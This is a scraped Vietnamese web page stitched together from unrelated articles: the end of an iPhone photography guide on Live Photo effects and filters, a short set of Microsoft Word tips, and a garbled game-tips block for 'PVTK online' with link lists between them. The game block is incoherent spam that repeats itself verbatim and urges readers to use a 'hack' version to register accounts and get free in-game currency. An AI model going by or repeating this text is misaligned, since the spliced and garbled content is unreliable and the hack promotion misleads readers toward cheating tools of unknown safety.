    Để chụp ảnh ở chế độ Live Photo, hãy chạm vào biểu tượng 3 vòng tròn ở phía trên màn hình camera, sao cho nó chuyển sang màu vàng như hình bên dưới. Đó là lúc chế độ Live Photo đã sẵn sàng cho bức ảnh chụp của bạn.

    Sau khi chụp xong bức ảnh ở chế độ Live Photo, hãy chạm mạnh và giữ trên bức ảnh vừa chụp, bạn sẽ thấy ảnh chuyển động và nghe luôn cả âm thanh.

    Có thể thay đổi hiệu ứng của ảnh động, các hiệu ứng gồm Loop, Bounce hoặc Long Exposure. Để thay đổi hiệu ứng cho ảnh động, hãy mở ảnh lên, trượt ảnh lên trên, sau đó trượt qua lại, chọn hiệu ứng phù hợp.

    • Hiệu ứng Loop: làm cho ảnh động (live photo) chạy lặp lại liên tục. (Chạy từ đầu tới cuối, sau đó lặp lại từ đầu đến cuối… cứ lặp lại liên tục như vậy)
    • Hiệu ứng Bounce: làm cho ảnh động chạy lặp liên tục từ đấu tới cuối, sau đó từ cuối đến đầu và cứ lặp liên tục như vậy.
    • Hiệu ứng Long Exposure: Làm mờ ảnh chuyển động, tạo hiệu ứng ảnh chụp chậm trông đẹp mắt. Thích hợp các ảnh chụp nước chuyển động như thác nước hoặc con sông.

    Khi chia sẻ ảnh qua mạng xã hội thì ảnh động live photo cũng giống như ảnh tĩnh. Tuy nhiên, nếu muốn chia sẻ ảnh động, hãy sử dụng công cụ chuyển ảnh động thành đoạn video 3 giây, hoặc hình động GIF sau đó chia sẻ trên mạng xã hội.

    Khi nào thì sử dụng chức năng chụp ảnh động live photo? Bất cứ khi nào chụp ảnh có âm thanh hoặc đối tượng ảnh đang di chuyển như thác nước, khoảnh khắc em bé vui đùa, tiếng chim hót, tiếng náo nhiệt của đô thị… để gợi nhớ lại ảnh đã chụp trong một không gian mang hơi thở cuộc sống đầy thú vị đó.

    11. Áp dụng bộ lọc cho bức ảnh

    Với iPhone, có thể áp bộ lọc cho bức ảnh, từ các màu sắc khác nhau cho đến ảnh đen trắng, ngay trong lúc chụp và cả sau khi chụp.

    Vài lời Kết

    Để chụp được ảnh đẹp, ngoài yếu tố mỹ thuật thì kỹ thuật chụp cũng vô cùng quan trọng, với những tính năng được trang bị trên chiếc iPhone gần đây, giúp cho người chụp ảnh dễ dàng tạo ra những bức ảnh đẹp lung linh, mà trước đây chỉ có máy ảnh chụp hình chuyên nghiệp mới có thể làm được.

    Sẽ rất vui khi được bạn chia sẻ bài biết đến với mọi người, giúp mọi người chụp được những tấm ảnh đẹp giống như bạn. Đừng quên để lại vài ý kiến, để mình cải thiện bài viết ngày càng tốt hơn.

    Toàn Lê.

    --- Bài cũ hơn ---

  • 10 Thủ Thuật Chụp Ảnh Đẹp Bằng Iphone
  • 6 Thủ Thuật Chụp Ảnh Cực Độc Cùng Iphone Có Thể Bạn Chưa Biết
  • 3 Thủ Thuật Cá Độ Bóng Đá Chính Xác Mà Anh Em Cần Biết
  • Thủ Thuật Cắt Bao Quy Đầu
  • Quy Trình Thủ Thuật Cắt Bao Quy Đầu Không Đau An Toàn
  • Thủ Thuật Làm Việc Hiệu Quả Trên Word (5 Thủ Thuật)

    --- Bài mới hơn ---

  • Các Thủ Thuật Nhỏ Trong Microsoft Word
  • Thủ Thuật Gõ Công Thức Toán Trong Ms Word 2003/2007/2010
  • Hướng Dẫn Cách Trộn Thư Trong Word 2010 Chi Tiết Sử Dụng Mail Merge
  • Cách Trộn Thư Trong Word 2010, Cách Trộn Mail Merge
  • Sử Dụng Mail Merge Tạo Mail Hàng Loạt Trong Word 2007
  • Microsoft Word là bộ công cụ hỗ trợ soạn thảo văn bản tuyệt vời được sử dụng phổ biến nhất. Một số thủ thuật làm việc hiệu quả trên word hay và đơn giản sau đây sẽ giúp bạn thao tác nhanh chóng: giấu đoạn văn, lưu tự động, sắp xếp văn bản, chuyển chữ thường thành chữ hoa, tìm từ đồng nghĩa,…

    Sắp xếp lại các đoạn văn nhanh gọn

    Khi muốn thay đổi vị trí các đoạn văn nhằm sắp xếp lại bố cục bài viết, hãy thử bôi đen đoạn văn bạn muốn di chuyển, rồi nhấn giữ 2 phím Shift – Alt, tiếp đến bấm chọn mũi tên lên hoặc xuống cho phù hợp với phương hướng bạn mong muốn. Cách làm này sẽ nhanh chóng và tiện dụng hơn rất nhiều so với việc kéo thả như thông thường.

    Chuyển chữ thường thành chữ in hoa

    Nếu bạn đã lỡ nhập dữ liệu bằng chữ viết thường nhưng muốn chuyển sang chữ hoa, hãy bôi đen đoạn đó rồi bấm Shift + F3. Bấm lần 1 sẽ biến chữ thường thành chữ viết hoa chỉ có chữ cái đầu tiên. Bấm thêm một lần nữa sẽ biến toàn bộ thành chữ hoa.

    Tìm từ đồng nghĩa trong Word

    Giấu đoạn văn bản

    Để xem lại đoạn văn đã được giấu, phải làm thế nào?

    Thủ thuật làm việc hiệu quả trên word sẽ giúp bạn. Đơn giản, bạn chỉ cần vào menu File chọn Options, bấm vào thẻ Display rồi đánh chọn vào ô Hidden text. Đoạn văn bị ẩn sẽ xuất hiện trở lại với những nét chấm gạch dưới để tiện phân biệt với đoạn văn bình thường.

    Lưu dữ liệu tự động

    Để đảm bảo tài liệu của bạn trong trạng thái an toàn khi xảy ra sự cố treo máy hoặc mất điện, hãy chắc chắn là bạn đã thiết lập chế độ tự động lưu dữ liệu của Word.

    Bạn vào menu File chọn Options, bấm vào thẻ Save rồi đánh dấu chọn vào mục Save AutoRecover information every, tiếp tục chọn khoảng thời gian bạn mong muốn Word tự động lưu (Word mặc định là 10 phút), cuối cùng OK để hoàn tất.

    Những thủ thuật trên tuy đơn giản nhưng nếu biết áp dụng đúng lúc sẽ giúp bạn tiết kiệm được rất nhiều thời gian và công sức khi thao tác với Word.

    --- Bài cũ hơn ---

  • Vài Thủ Thuật Hay Cho Word
  • Thủ Thuật Phục Hồi File Word, Excel Chưa Kịp Lưu Cho Dân Văn Phòng
  • Cách Giãn Dòng Trong Word & Giãn Đoạn Trong Word Chuẩn Nhất
  • Hướng Dẫn Sử Dụng Microsoft Office Word 2013_P1
  • Phần Mềm Chuyển File Word Sang Pdf
  • Thủ Thuật Pvtk Online

    --- Bài mới hơn ---

  • Bản Apk Miễn Phí Cho Điện Thoại
  • Chi Tiết Dễ Nhớ Cho Người Mới Tham Gia
  • Chỉnh Chiến Thuật Trong Pes 17 Phần 1
  • Góc Quay Set Nam Tước Avatar 2022
  • Thủ Thuật Auto Quay Số Trong Game Army 2
  • cực kì mới cho màn hình điện thoại của bạn để cùng khám phá và dành cho mình cùng thật nhiều màn chơi mới và hoàn thành nhiệm vụ để đạt được nhưng phần thưởng cho những sự kiện mà bạn cần hướng tới cần một dòng mạng để sử dụng chơi game dễ dàng hơn, thu thuat pvtk online xây dựng cho bạn những nội dung và mẹo để bạn chơi game không hề bị gián đoạn.

     Thủ Thuật Ngọc Phong Vân Truyền Kỳ – Nhân Vé Cường Hóa

    Khuyến khích bạn sử dụng bản hack đăng kí để đăng kí nick mới sau đó mới hack game, hack đăng kí, nạp xu lượng hoàn toàn miễn phí.

    Game bây giờ khuyến mại khủng lắm, đăng kí nick mới là nhận ngay 5000 xu và 10.000 lượng, rẻ hơn cả nạp thẻ! Lại còn tặng đồ vip nữa kìa,  thu thuat pvtk online tiền cũng không mua nổi đâu!

    Thế tội gì mà không đăng kí nick mới nhỉ. Vừa hack được game vừa có sim đăng kí, nick cũ mà mất sim đăng kí là nguy hiểm lắm đấy! Bỏ ngay đi mà cày nick mới.

    Tiếp đến cùng mộtcực kì mới cho màn hình điện thoại của bạn để cùng khám phá và dành cho mình cùng thật nhiều màn chơi mới và hoàn thành nhiệm vụ để đạt được nhưng phần thưởng cho những sự kiện mà bạn cần hướng tới cần một dòng mạng để sử dụng chơi game dễ dàng hơn,xây dựng cho bạn những nội dung và mẹo để bạn chơi game không hề bị gián đoạn.Khuyến khích bạn sử dụng bản hack đăng kí để đăng kí nick mới sau đó mới hack game, hack đăng kí, nạp xu lượng hoàn toàn miễn phí. Game bây giờ khuyến mại khủng lắm, đăng kí nick mới là nhận ngay 5000 xu và 10.000 lượng, rẻ hơn cả nạp thẻ! Lại còn tặng đồ vip nữa kìa,tiền cũng không mua nổi đâu! Thế tội gì mà không đăng kí nick mới nhỉ. Vừa hack được game vừa có sim đăng kí, nick cũ mà mất sim đăng kí là nguy hiểm lắm đấy! Bỏ ngay đi mà cày nick mới.

    --- Bài cũ hơn ---

  • 10 Thủ Thuật Phổ Biến Nhất Trên Máy Tính Windows 10
  • Thủ Thuật Win Mọi Cấp Độ Con Đường Rắn Độc…kiếm Phiếu Giảm Giá Dễ Dàng…ngọc Rồng Online
  • Làm Thế Nào Để Code Jquery Một Cách Tối Ưu Hơn?
  • Giới Thiệu Về Jquery, Cú Pháp Cơ Bản Và Tích Hợp
  • Jquery Là Gì? Tổng Quan Và Hướng Dẫn Sử Dụng Jquery
  • Web hay
  • Links hay
  • Push
  • Chủ đề top 10
  • Chủ đề top 20
  • Chủ đề top 30
  • Chủ đề top 40
  • Chủ đề top 50
  • Chủ đề top 60
  • Chủ đề top 70
  • Chủ đề top 80
  • Chủ đề top 90
  • Chủ đề top 100
  • Bài viết top 10
  • Bài viết top 20
  • Bài viết top 30
  • Bài viết top 40
  • Bài viết top 50
  • Bài viết top 60
  • Bài viết top 70
  • Bài viết top 80
  • Bài viết top 90
  • Bài viết top 100